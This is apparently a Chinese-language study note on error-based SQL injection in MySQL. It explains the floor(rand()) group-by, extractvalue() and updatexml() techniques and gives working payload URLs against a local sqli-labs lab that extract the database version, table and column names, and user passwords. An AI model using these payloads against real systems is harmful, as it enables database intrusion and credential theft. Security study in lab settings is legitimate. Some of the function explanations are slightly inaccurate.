SQL注入笔记 04#

sql注入报错注入

报错注入原理

构造payload让信息通过错误提示回显出来,查询不回显内容,会打印错误信息

    

        if($row)
    {
	echo 'Your Login name:'.$row['username'];
    }
    else
    {
	print_r(mysql_error());
    }
    

正常请求返回正常数据,错误请求返回错误信息。

这时候我们只需要插入SQL注入语句嵌套在错误信息内,即可实现SQL注入

凡是可以让错误信息显示的函数(语句),都能实现报错注入,常见的有三种: floor(),extractvalue(),updataxml()

floor()

条件:需要count(*),rand()、group by,三者缺一不可。

核心语法:select count() from information_schema.tables group by concat((sql语句),floor(rand(0)2));

rand()—–产生一个0-1的随机数。

group by—–根据一个或多个列对结果进行分组并有排序功能。

count—–连接字符串的功能。

floor—–取float的整数值。

count(*)—–查找数量。

报错原因:group by 对rand函数进行操作时产生了错误。

floor(rand(0)*2):产生一个0,1,2三个数字,rand(0)为1为小概率忽略不计,那么产生的数字就是0,1两个数字

  1. 查询第一条记录,rand(0)得键值0不存在临时表,执行插入,此时rand(0)再执行,得1,于是插入了1。
  2. 查询第二条记录,rand(0)得1,键值1存在临时表,则值加1得2。
  3. 查询第三条记录,rand(0)得0,键值0不存在临时表,执行插入,rand(0)再次执行,得键值1,1存在于临时表,由于键值必须唯一,导致报错。 由上述可得,表中必须存在大于等于3条记录才会产生报错,实测也如此。

group by 不能对于两个主键进行分组

下面是在Sqli-labs下的环境1进行测试

    
select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2));

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))--+

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((select database() limit 0,1),0x7e,floor(rand(0)*2)))--+ // 库名


http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e,floor(rand(0)*2)))--+ // 库名


http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e,floor(rand(0)*2)))--+ // 列名

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e,floor(rand(0)*2)))--+ // 列名

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e,floor(rand(0)*2)))--+ // 数据

    

xpath语法

extractvalue() 、updatexml()##

核心语法: select extractvalue(1,concat(0x7e,(sql语句),0x7e));

select updatexml(1,concat(0x7e,(sql语句),0x7e),1);

报错原因:xpath语法错误,问题出现在第二处。

语法不正确报错:

查询数据:

所以我们必须用concat在前面写上非法字符使得后面的select语句能够全部返回。

最大爆32,如果大于32位字节则用substr截取字符串substr(‘ab’,1,2)

    
     
    http://127.0.0.1/sqli-labs-master/Less-1/?id=1'and  updatexml(1,concat(0x7e,(select substr(concat(password),1,2) from users limit 0,1),0x7e),1)--+
    
    

由于报错注入操作比较复杂,采用手工注入的方式效率太慢了。我们可以采用一些工具来帮助我们

使用burp进行报错注入

赞 赏